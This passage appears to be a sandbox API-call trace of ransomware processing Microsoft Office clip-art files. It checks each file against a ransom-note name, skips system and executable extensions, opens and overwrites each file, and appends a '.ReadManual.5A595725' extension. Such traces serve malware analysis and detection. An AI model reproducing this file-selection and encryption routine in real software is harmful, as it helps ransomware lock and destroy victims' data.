returned 1 [0269.325] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.325] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" [0269.326] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.ReadManual.5A595725" [0269.326] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.ReadManual.5A595725") returned 87 [0269.326] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38999435508) returned 1 [0269.326] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf")) returned 0x20 [0269.326] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.327] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7012) returned 1 [0269.327] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b64, lpName=0x0) returned 0x184 [0269.327] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.328] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.328] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.329] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.330] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b64) returned 0x2f0000 [0269.330] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.330] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38999866278) returned 1 [0269.330] CloseHandle (hObject=0x184) returned 1 [0269.330] SetSecurityInfo () returned 0x57 [0269.330] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.330] CloseHandle (hObject=0x194) returned 1 [0269.330] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1 [0269.330] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0292278.WMF" | out: lpString1="J0292278.WMF") returned="J0292278.WMF" [0269.330] lstrcmpiW (lpString1="J0292278.WMF", lpString2="RecoveryManual.html") returned -1 [0269.330] StrStrIW (lpFirst="J0292278.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.330] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.330] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.330] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.330] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.330] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.330] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.331] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.331] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.331] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.331] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.331] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.331] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.331] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.331] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.331] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" [0269.331] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.ReadManual.5A595725" [0269.331] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.ReadManual.5A595725") returned 87 [0269.331] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38999963203) returned 1 [0269.331] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf")) returned 0x20 [0269.332] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.332] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13912) returned 1 [0269.332] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3658, lpName=0x0) returned 0x184 [0269.332] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.333] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.333] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.334] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.335] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3658) returned 0x2f0000 [0269.335] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.335] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39000375932) returned 1 [0269.335] CloseHandle (hObject=0x184) returned 1 [0269.335] SetSecurityInfo () returned 0x57 [0269.335] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.335] CloseHandle (hObject=0x194) returned 1 [0269.335] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1 [0269.335] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0292286.WMF" | out: lpString1="J0292286.WMF") returned="J0292286.WMF" [0269.335] lstrcmpiW (lpString1="J0292286.WMF", lpString2="RecoveryManual.html") returned -1 [0269.335] StrStrIW (lpFirst="J0292286.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.335] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.335] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.335] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.336] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.336] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" [0269.336] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.ReadManual.5A595725" [0269.336] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.ReadManual.5A595725") returned 87 [0269.336] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39000469035) returned 1 [0269.336] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf")) returned 0x20 [0269.336] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.337] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=19286) returned 1 [0269.337] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4b56, lpName=0x0) returned 0x184 [0269.337] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.337] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.337] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.339] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.339] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4b56) returned 0x2f0000 [0269.339] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.340] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39000851723) returned 1 [0269.340] CloseHandle (hObject=0x184) returned 1 [0269.340] SetSecurityInfo () returned 0x57 [0269.340] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.340] CloseHandle (hObject=0x194) returned 1 [0269.340] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293800.WMF", cAlternateFileName="")) returned 1 [0269.340] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0293800.WMF" | out: lpString1="J0293800.WMF") returned="J0293800.WMF" [0269.340] lstrcmpiW (lpString1="J0293800.WMF", lpString2="RecoveryManual.html") returned -1 [0269.340] StrStrIW (lpFirst="J0293800.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.340] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.340] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.341] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.341] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.341] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.341] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" [0269.341] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.ReadManual.5A595725" [0269.341] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF.ReadManual.5A595725") returned 87 [0269.341] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39000952603) returned 1 [0269.341] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf")) returned 0x20 [0269.341] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293800.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.341] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4774) returned 1 [0269.341] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12a6, lpName=0x0) returned 0x184 [0269.341] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.342] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.342] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.344] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.344] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12a6) returned 0x2f0000 [0269.344] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.344] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39001280849) returned 1 [0269.344] CloseHandle (hObject=0x184) returned 1 [0269.344] SetSecurityInfo () returned 0x57 [0269.344] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.344] CloseHandle (hObject=0x194) returned 1 [0269.344] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293832.WMF", cAlternateFileName="")) returned 1 [0269.344] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0293832.WMF" | out: lpString1="J0293832.WMF") returned="J0293832.WMF" [0269.344] lstrcmpiW (lpString1="J0293832.WMF", lpString2="RecoveryManual.html") returned -1 [0269.344] StrStrIW (lpFirst="J0293832.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.345] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.345] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.345] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" [0269.345] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.ReadManual.5A595725" [0269.345] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF.ReadManual.5A595725") returned 87 [0269.345] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39001383695) returned 1 [0269.345] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf")) returned 0x20 [0269.346] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0293832.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0293832.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.346] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6078) returned 1 [0269.346] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17be, lpName=0x0) returned 0x184 [0269.346] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.347] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.347] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.349] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.349] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17be) returned 0x2f0000 [0269.349] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.349] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39001773402) returned 1 [0269.349] CloseHandle (hObject=0x184) returned 1 [0269.349] SetSecurityInfo () returned 0x57 [0269.349] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.349] CloseHandle (hObject=0x194) returned 1 [0269.349] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x37de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0294989.WMF", cAlternateFileName="")) returned 1 [0269.349] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0294989.WMF" | out: lpString1="J0294989.WMF") returned="J0294989.WMF" [0269.349] lstrcmpiW (lpString1="J0294989.WMF", lpString2="RecoveryManual.html") returned -1 [0269.349] StrStrIW (lpFirst="J0294989.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.349] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.349] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.349] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.349] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.350] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.350] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" [0269.350] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.ReadManual.5A595725" [0269.350] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.ReadManual.5A595725") returned 87 [0269.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39001869577) returned 1 [0269.350] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf")) returned 0x20 [0269.352] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.352] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=14302) returned 